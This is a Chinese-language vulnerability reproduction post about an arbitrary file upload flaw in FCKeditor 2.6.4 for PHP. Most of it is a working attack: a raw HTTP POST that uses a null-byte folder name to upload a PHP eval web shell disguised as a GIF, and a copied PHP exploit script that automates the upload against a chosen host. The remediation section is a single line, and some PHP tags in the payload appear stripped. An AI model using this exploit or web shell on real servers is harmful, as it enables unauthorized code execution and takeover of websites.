FCKeditor 2.6.4 php版本任意文件上传——漏洞复现

一、漏洞描述

FCKeditor是目前最优秀的可见即可得网页编辑器之一,它采用JavaScript编写。具备功能强大、配置容易、跨浏览器、支持多种编程语言、开源等特点。它非常流行,互联网上很容易找到相关技术文档,国内许多Web项目和大型网站均采用了FCKeditor。
Fckeditor 低于 2.6.4 php 版本任意文件上传漏洞,当您的PHP环境配置为 GPC = Off 时可绕过currentfolder参数过滤上传脚本木马控制网站服务器

二、漏洞原理

漏洞版本:<=2.6.4

三、环境搭建

百度搜索即可

四、漏洞复现

漏洞一般存在文件:editor/filemanager/connectors/php/connector.php(PHP网站);editor/filemanager/connectors/asp/connector.asp(ASP网站)
访问目标网站,如下图所示:
FCKeditor 2.6.4 php版本任意文件上传——漏洞复现_第1张图片
查看目标网站是否存在漏洞文件,如图所示返回200表明存在该文件
FCKeditor 2.6.4 php版本任意文件上传——漏洞复现_第2张图片
POST上传测试代码,成功上传
FCKeditor 2.6.4 php版本任意文件上传——漏洞复现_第3张图片
POST数据包内容

POST /public/FCKEditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=fu.php%00.gif HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------29565348729577
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 219
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

-----------------------------29565348729577
Content-Disposition: form-data; name="NewFile"; filename="fu.gif"
Content-Type: image/jpeg

GIF89a
 eval($_POST[a]) ?>
-----------------------------29565348729577--

成功访问上传的木马文件
FCKeditor 2.6.4 php版本任意文件上传——漏洞复现_第4张图片

五、漏洞修复

建议更新fckeditor版本到新版。

六、网上的POC







error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);



define(STDIN, fopen("php://stdin", "r"));

$match = array();



function http_send($host, $packet)

{

    $sock = fsockopen($host, 80);

    while (!$sock)

    {

        print "\n[-] No response from {$host}:80 Trying again...";

        $sock = fsockopen($host, 80);

    }

    fputs($sock, $packet);

    while (!feof($sock)) $resp .= fread($sock, 1024);

    fclose($sock);

    print $resp;

    return $resp;

}



function connector_response($html)

{

    global $match;

    return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));

}



print "\n+------------------------------------------------------------------+";

print "\n| FCKEditor Servelet Arbitrary File Upload Exploit by Wolegequ     |";

print "\n+------------------------------------------------------------------+\n";



if ($argc < 3)

{

    print "\nUsage......: php $argv[0] host path\n";

    print "\nExample....: php $argv[0] localhost /\n";

    print "\nExample....: php $argv[0] localhost /FCKEditor/\n";



    die();

}



$host = $argv[1];

$path = ereg_replace("(/){2,}", "/", $argv[2]);



$filename  = "fvck.gif";

$foldername = "fuck.php%00.gif";

$connector = "editor/filemanager/connectors/php/connector.php";





$payload  = "-----------------------------265001916915724\r\n";

$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";

$payload .= "Content-Type:  image/jpeg\r\n\r\n";

$payload .= 'GIF89a'."\r\n".''."\n";

$payload .= "-----------------------------265001916915724--\r\n";



$packet     = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";

//print $packet;

$packet    .= "Host: {$host}\r\n";



$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Connection: close\r\n\r\n";

$packet .= $payload;



print $packet;



if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");

else print "\n[-] Job done! try http://${host}/$match[2] \n";





?>

你可能感兴趣的:(文件上传)